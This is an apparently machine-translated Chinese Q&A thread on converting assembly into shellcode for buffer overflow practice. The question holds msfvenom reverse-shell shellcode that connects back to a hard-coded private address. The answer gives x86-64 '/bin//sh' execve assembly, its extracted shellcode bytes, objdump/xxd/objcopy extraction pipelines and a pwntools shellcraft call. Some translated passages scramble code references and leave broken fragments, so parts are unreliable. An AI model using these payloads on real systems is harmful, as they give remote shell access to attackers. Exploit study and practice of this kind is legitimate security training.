问题是我正在训练缓冲区溢出错误,我已经到了只需向内存中注入一些东西的地步,但问题是我在 ESP 中的空间非常小,所以我在汇编中制作了一个简单的“hello world”:
汇编代码(简单的hello world)
global _start
;;;;;64bit only
_start:
jmp short string
code:
pop rsi
xor rax, rax
mov al, 1
mov rdi, rax
mov rdx, rdi
add rdx, 14
syscall
xor rax, rax
add rax, 60
xor rdi, rdi
syscall
string:
call code
db 'Hello, world!',0x0A
这是用 Nasm 写的
我第一次发现这一点是在生成 msfvenom 有效负载时,有一个选项可以指定 shellcode 的语言(我指定了 C),然后它会生成十六进制可执行代码,您可以将其注入内存并简单地运行它。
十六进制代码(反向 shell 的可执行十六进制代码)
unsigned char buf[] = \xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x89\xe5\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x66\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5;
但是当我自己尝试这样做时,我发现我必须用汇编语言编写程序,然后将其转换为十六进制可执行代码,我花了一周时间寻找一种方法,但一无所获。
我尝试过的
我尝试将汇编指令一一转换,然后添加参数(也转换为十六进制),但这显然不起作用。
-----
该汇编代码似乎适用于:
./nasm.exe -fwin64 shellcode.asm
但不包括:./nasm.exe -fwin32 shellcode.asm
我认为它不兼容32位。
当我执行时:
./nasm.exe -felf64 shellcode.asm -o shellcode.o
然后:ld -s -o shellcode shellcode.o
它表示文件 shellcode.o 的格式无法识别
我们先写简单的汇编代码。
GLOBAL _start
_start:
xor rdx, rdx ;use xor edx,edx to save 1 byte
push rdx
mov rax, 0x68732f2f6e69622f ;The result of '/bin//sh' in reverse byte order
push rax ;push '/bin//sh' into stack
mov rdi, rsp ;Get the address of '/bin//sh' from rsp and put it into rdi
push rdx
push rdi
mov rsi, rsp
xor rax, rax
mov al, 0x3b
syscall
另请注意,您可以写 mov rax, '/bin//sh'
,因为您使用的是 NASM。
strace
验证系统调用参数是否符合您的预期,或者在它不起作用时进行调试。
nasm -f elf64 shellcode.asm -o shellcode.o
ld shellcode.o -o shellcode
./shellcode
strace ./shellcode # trace the system calls it makes
使用 objdump
获取十六进制输出。您也可以使用编译器资源管理器。
objdump -d shellcode
您可以按照以下说明过滤不相关的输出,直接获取 shellcode。 但是这是有问题的,并且在换行的长指令中丢失了一个机器代码字节。一般情况下不要使用此版本。
objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
这是输出。
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
bits 64
后也可以工作。
nasm -f bin shellcode.asm -o shellcode
xxd -ps shellcode | sed 's/../\\x\0/g'
或者如没有.data部分的独立二进制代码中指向字符串的指针所示,如果shellcode
是ELF可执行文件(或
.o
),您可以使用
.text
提取objcopy
部分并在
hexdump
上使用 .bin
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
from pwn import *
context(arch = 'amd64', os = 'linux',log_level = 'debug')
shellcode=asm(shellcraft.amd64.linux.sh())
print(shellcode)
您还可以使用 cobaltstrike 和 msfvenom。